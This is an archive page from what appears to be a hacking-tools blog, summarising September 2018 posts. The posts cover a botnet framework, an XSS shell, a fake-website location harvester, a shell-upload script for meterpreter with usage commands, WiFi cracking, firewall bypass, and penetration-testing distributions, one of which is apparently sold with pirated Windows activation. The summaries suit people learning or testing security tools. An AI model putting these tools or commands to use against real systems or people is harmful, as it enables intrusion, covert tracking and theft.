Month: September 2018

Windows10

Black Window 10 v2 (codename: Polemos)

November 12, 2018 November 15, 2018by D4RkN

Black Window Enterprise 10 Codename : Polemos Black Window 10 Enterprise is the first windows based penetration testing distribution with Linux integrated ! The system comes activated with a digital license for Windows enterprise! It supports windows apps and Linux apps, GUI and terminal apps! It comes with a tone off hacking tools plus all the tools that are included with the latest release of Cerberus Linux! It has managed to implement Cerberus os within windows. Offers the stability of a windows system and…

Debian

Cerberus Linux v3

September 25, 2018 September 28, 2018by D4RkN

Cerberus Linux v3 Cerberus is a penetration testing distribution focusing on automation and anonymity , it aims to have the best tools available on the hacking scene tools like Fuzzbunch, Dandespritz, Cobalt strike, Armitage, Metasploit framework and Metasploit community version set up and ready for use!! It includes custom scripts, custom themes, custom icons!Cerberus distribution is based on Debian testing, it has the capability to use 3 repositories to install packages from kali repo,Debian repo, and cyber sec repo! Cerberus is an Angry…

Windows Hacking

Black Window 10 Enterprise

May 16, 2018 September 28, 2018by D4RkN

Black Window 10 Enterprise is the first windows based penetration testing distribution with linux integraded ! The system comes activated with a digital license for windows enterprise ! It supports windows apps and linux apps, gui and terminal apps! It comes with a tone off hacking tools plus all the tools that are included with the latest release of cerberus linux! It has managed to implement cerberus os within windows.Offers the stability of a windows system and it offers the hacking part with a…

Fuzzer ⁄ Kemon ⁄ Mac ⁄ NEW TOOLS

Kemon – An Open-Source Pre And Post Callback-Based Framework For macOS Kernel Monitoring

September 30, 2018by Black Hat Sec

An Open-Source Pre and Post Callback-Based Framework for macOS Kernel Monitoring.What is Kemon?An open-source Pre and Post callback-based framework for macOS kernel monitoring. With the power of Kemon, we can easily implement LPC communication monitoring, MAC policy filtering, kernel driver firewall, etc. In general, from an attacker's perspective, this framework can help achieve more powerful Rootkit. From the perspective of defense, Kemon can help construct more granular monitoring capabilities. I also implemented a kernel fuzzer through this framework, which helped me find many vulnerabilities,…

Antiforensics ⁄ Antivirus Evasion ⁄ BYOB ⁄ Email Sender ⁄ NEW TOOLS ⁄ Portscanner ⁄ RAT ⁄ Remote Code Execution ⁄ Scan ⁄ Shells ⁄ Sniffer ⁄ Webcam Capture

BYOB – Build Your Own Botnet

September 30, 2018by Black Hat Sec

BYOB (Build Your Own Botnet)Disclaimer: This project should be used for authorized testing or educational purposes only.BYOB is an open-source project that provides a framework for security researchers and developers to build and operate a basic botnet to deepen their understanding of the sophisticated malware that infects millions of devices every year and spawns modern botnets, in order to improve their ability to develop counter-measures against these threats.It is designed to allow developers to easily implement their own code and add cool new features…

Aircrack ⁄ Aircrack-ng ⁄ Mac ⁄ NEW TOOLS ⁄ Wifi Cracker ⁄ WiFi Scanner ⁄ Wifi Security Tool ⁄ Wireless Attack Toolkit ⁄ Wireless Auditing

Aircrack-ng 1.4 – Complete Suite Of Tools To Assess WiFi Network Security

September 29, 2018by Black Hat Sec

Aircrack-ng is a complete suite of tools to assess WiFi network security.It focuses on different areas of WiFi security:Monitoring: Packet capture and export of data to text files for further processing by third party tools.Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.Testing: Checking WiFi cards and driver capabilities (capture and injection).Cracking: WEP and WPA PSK (WPA 1 and 2).All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily…

JavaScript ⁄ JShell ⁄ Netcat ⁄ NEW TOOLS ⁄ XSS ⁄ XSS Shell

JShell – Get A JavaScript Shell With XSS

September 29, 2018by Black Hat Sec

JShell - Get a JavaScript shell with XSS.UsagesRun shell.pyand JShell will automatically try to detect your IP address, default LPORT is 33.As you can see the payload has been generated and now all you have to do is to deliver this payload to the victim.As soon as you do that, you will get a JS shell over netcat where you can execute your JavaScript code in victim's browser as soon as the injected page is open.Here's a screenshot:Credits, Disclaimer & LicenseThis script uses the…

Accuracy ⁄ Altitude ⁄ Geolocation ⁄ Latitude ⁄ Longitude ⁄ NEW TOOLS ⁄ PHP ⁄ Seeker ⁄ System Information

Seeker v1.0.7 – Get Accurate Location using a Fake Website

September 28, 2018by Black Hat Sec

Concept behind Seeker is simple, just like we host phishing pages to get credentials why not host a fake page that requests your loction just like many popular location based websites.Seeker Hosts a fake website on Apache Server and uses Ngrok, website asks for Location Permission and if the user allows it, we can get :LongitudeLatitudeAccuracyAltitude - Not always availableDirection - Only available if user is movingSpeed - Only available if user is movingAlong with Location Information we also get Device Information without any…

HTTP ⁄ Mac ⁄ NEW TOOLS ⁄ Nmap ⁄ PUT Method ⁄ Put2Win

Put2Win – Script To Automatize Shell Upload By PUT HTTP Method To Get Meterpreter

September 28, 2018by Black Hat Sec

Script to automatize shell upload by PUT HTTP method to get meterpreter.DependenciesIt's necessary to have installed nmap and msfvenom tools for a correct operationInstallationgit clone -hThis script automatize shell upload by PUT HTTP method to get meterpreter.Usage: ./Put2win.sh -t TARGET [-p PORT] -u URL_PATH -l LHOSTExamples:./Put2win.sh -t 192.168.1.80 -u /uploads -l 192.168.1.10./Put2win.sh -t 192.168.1.80 -p 443 -u /uploads -l 192.168.1.10ContactTelegram: @devploitTwitter: Put2Win

Conversations ⁄ Mac ⁄ MITM ⁄ NEW TOOLS ⁄ UDP ⁄ Udp2raw-tunnel ⁄ Virtual Machine ⁄ Wifi

Udp2raw-tunnel – A UDP Tunnel which tunnels UDP via FakeTCP/UDP/ICMP Traffic by using Raw Socket [Bypass UDP FireWalls]

September 27, 2018by Black Hat Sec

A UDP Tunnel which tunnels UDP via FakeTCP/UDP/ICMP Traffic by using Raw Socket, helps you Bypass UDP FireWalls (or Unstable UDP Environment). Its Encrypted, Anti-Replay and Multiplexed.It also acts as a Connection Stabilizer.Support PlatformsA Linux host (including desktop Linux, Android phone/tablet, OpenWRT router, or Raspberry PI) with root access.For Winodws/MacOS, a virtual image with udp2raw pre-installed has been released, you can load it with Vmware/VirtualBox.The virtual image has been set to auto obtain ip, udp2raw can be run immediately after boot finished(make sure network mode of…

Drozer ⁄ java ⁄ NEW TOOLS ⁄ Remote Access ⁄ Security Assessment ⁄ Testing Framework

Drozer v2.4.4 – The Leading Security Assessment Framework For Android

September 27, 2018by Black Hat Sec

drozer (formerly Mercury) is the leading security testing framework for Android.drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.drozer provides tools to help you use, share and understand public Android exploits. It helps you to deploy a drozer Agent to a device through exploitation or social engineering. Using weasel (MWR's advanced exploitation payload) drozer is able to maximise the permissions…

CTF Challenges ⁄ TUTORIALS

Hack the Gemini inc:2 (CTF Challenge)

September 27, 2018by Black Hat Sec

Hello Friends!! Today we are going to breach a new VM lab “Gemini inc:2” of the vulnhub series and before moving ahead you can also take a look over Gemini inc:1 which we had solved earlier. Gemini Inc has contacted you to perform a penetration testing on one of their internal system. This system has a web application that is meant for employees to export their profile to a PDF. Identify any vulnerabilities possible with the goal of complete system compromise with root privilege.…